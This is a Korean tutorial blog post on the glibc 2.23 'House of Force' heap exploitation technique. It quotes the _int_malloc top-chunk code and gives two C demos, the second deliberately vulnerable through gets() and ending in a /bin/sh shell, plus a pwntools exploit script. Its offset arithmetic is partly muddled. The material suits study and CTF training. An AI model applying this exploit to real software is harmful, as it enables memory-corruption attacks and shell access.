공격조건
2.23에서는 가능, malloc을 임의로 할 수 있어야함. top chunk의 size를 조작할 수 있다. 임의의 주소를 알고있어야 한다.
House of Force란?
top chunk의 size를 조작함으로써 임의의 주소에 힙 청크를 할당 할 수 있는 공격 기법이다. 아래는 top chunk를 처리하는 _int_malloc 코드이다.
static void *
_int_malloc (mstate av, size_t bytes)
{
INTERNAL_SIZE_T nb; /* normalized request size */
...
mchunkptr remainder; /* remainder from a split */
unsigned long remainder_size; /* its size */
...
use_top:
victim = av->top;
size = chunksize (victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
...
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
}
}
요약하자면 top chunk의 size가 요청받은 크기인 nb보다 크거나 같으면 top chunk에서 공간을 가져온다.
여기서 top chunk의 size를 2^64 - 1(64bit) 로 조작하고
[임의의 주소] - [header인 0x10] - [topchunk의 주소] - [header인 0x10]
할당을 할 때 +0x10으로 패딩되어서 내가 원하는 것 보다 + 0x10 되어 할당된다. 거기다가 overwrite할 fake chunk의 header도 고려하면 0x20을 추가로 빼줘야 한다.
만약 target의 주소가 0x8로 끝나면 -0x10 은 한번만 해도 된다.
크기의 힙 청크를 할당하면 임의의 주소-16 까지 할당이 되고 다시 힙 청크를 할당하면 임의의 주소에 할당할 수 있다.
이렇게 될 경우 top chunk의 size가 매우 커진다. 그리고 [임의의 주소]-top chunk address - 0x10 을 하면 아래와 같이 된다.
여기서 할당을 요청하면 아래와 같이된다.
결과적으로 임의의 주소에 chunk를 할당할 수 있게 되었다.
이해가 안될 수 있어서 추가설명하겠다. 일단 위의 예제에서 임의의 주소는 data 영역을 전제로 함. topchunk가 자기 영역을 떼어주는 원리는 요청받은 크기만큼 topchunk_add + 요청 받은 크기 를 해서 top chunk의 위치를 이동시켜서 영역을 줌. 만약 topchunk를 2^64 -1(무한대)로 하고
[임의의 주소] - [첫 요청 header인 0x10] - [topchunk의 주소] - [두 번째 요청 header인 0x10] 를 할당하면 topchunk의 주소는 [topchunk의 주소] + [임의의 주소] - [첫 요청 header인 0x10] + [header padding 0x10] - [topchunk의 주소] - [header인 0x10] = [임의의 주소] - 0x10 이 된다. 즉 topchunk의 주소가 [임의의 주소]-0x10 이 된 것이다. 여기서 다시 할당을 요청하면 임의의 주소에 할당이 된다.
예제
// gcc -o force1 force1.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char target[] ="im target!\\n";
int main(){
char *buf1;
char *trash;
char *exploit;
__uint64_t* top_chunk_size_addr;
__uint64_t exploit_size = 0;
__uint32_t target_addr = ⌖
buf1 = malloc(0x100);
top_chunk_size_addr = buf1 + 0x108;
fprintf(stderr,"target : %s\\n", target);
fprintf(stderr,"buf1 : 0x%x\\n", buf1);
fprintf(stderr,"top_chunk_size : 0x%x\\n", top_chunk_size_addr);
fprintf(stderr,"target_addr : 0x%x\\n", 0x601048);
*top_chunk_size_addr = 0xffffffffffffffff; //(1)
exploit_size = target_addr - 0x10 - (__int64_t)top_chunk_size_addr - 0x8;
fprintf(stderr,"exploit_size : 0x%lx\\n", exploit_size);
trash = malloc(exploit_size); //(2)
exploit = malloc(0x100); //(3)
fprintf(stderr,"malloc_addr : 0x%x\\n", exploit);
strcpy(exploit, "exploited!!!!!!");
fprintf(stderr,"target : %s\\n", target);
return 0;
}
우선 (1) 에서 top chunk의 size를 0xffffffffffffffff 으로 바꾼다.
그리고 (2)에서 target 주소 - top chunk 주소 - 0x10 을 요청한 후
(3)에서 0x100을 요청하면 target이 할당된다.
예제2
// gcc -o force2 force2.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
__int64_t overwrite_me = 0;
int main(){
char* buf1;
char* buf2;
char* trash;
char malloc_size[21];
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
buf1 = malloc(0x20);
write(1, &buf1, 8);
gets(buf1); //(1)
write(1, "input malloc_size : ", 19);
read(0, malloc_size, 21); //(2)
trash = malloc(strtoull(malloc_size, NULL, 10));
buf2 = malloc(0x100); //(3)
write(1, "write to target : ", 17);
read(0, buf2, 0x100); //(4)
if(overwrite_me == 0xdeadbeefcafebabe){
system("/bin/sh");
}
return 0;
}
(1) 에서 top chunk의 size를 overwrite하고
(2) 에서 target - top_add - 0x20 을 하면
(3) 에서 할당된 chunk는 overwrite_me를 할당하게 되어서
(4) 에서 0xdeadbeefcafebabe를 입력하면 된다.
from pwn import *
context.log_level = 'debug'
p = process("./for2")
pause()
heap_add = u64(p.recv(4)+b"\\x00\\x00\\x00\\x00")
print(hex(heap_add))
target = 0x601090
top_add = heap_add + 0x28
exsize = target - top_add - 0x20
print(hex(exsize))
# 아니 이거 topchunk의 주소도 계산해야돼서 - 0x10 을 더해야함
ex = '\\x00'*0x28
ex += '\\xff'*8
p.sendline(ex)
p.sendlineafter(b"input malloc_size :", str(exsize))
p.sendlineafter(b'write to target :', p64(0xdeadbeefcafebabe))
p.interactive()
<틀린 부분이 있다면 비난과 욕설을 해주세요>
'포너블 > Heap' 카테고리의 다른 글
Heap Feng Shui (0) | 2024.04.29 |
---|---|
Tcache dup & poisoning (0) | 2023.12.04 |
House of Lore (1) | 2023.11.27 |
House of Spirit (0) | 2023.11.27 |
Large Bin Attack (1) | 2023.11.22 |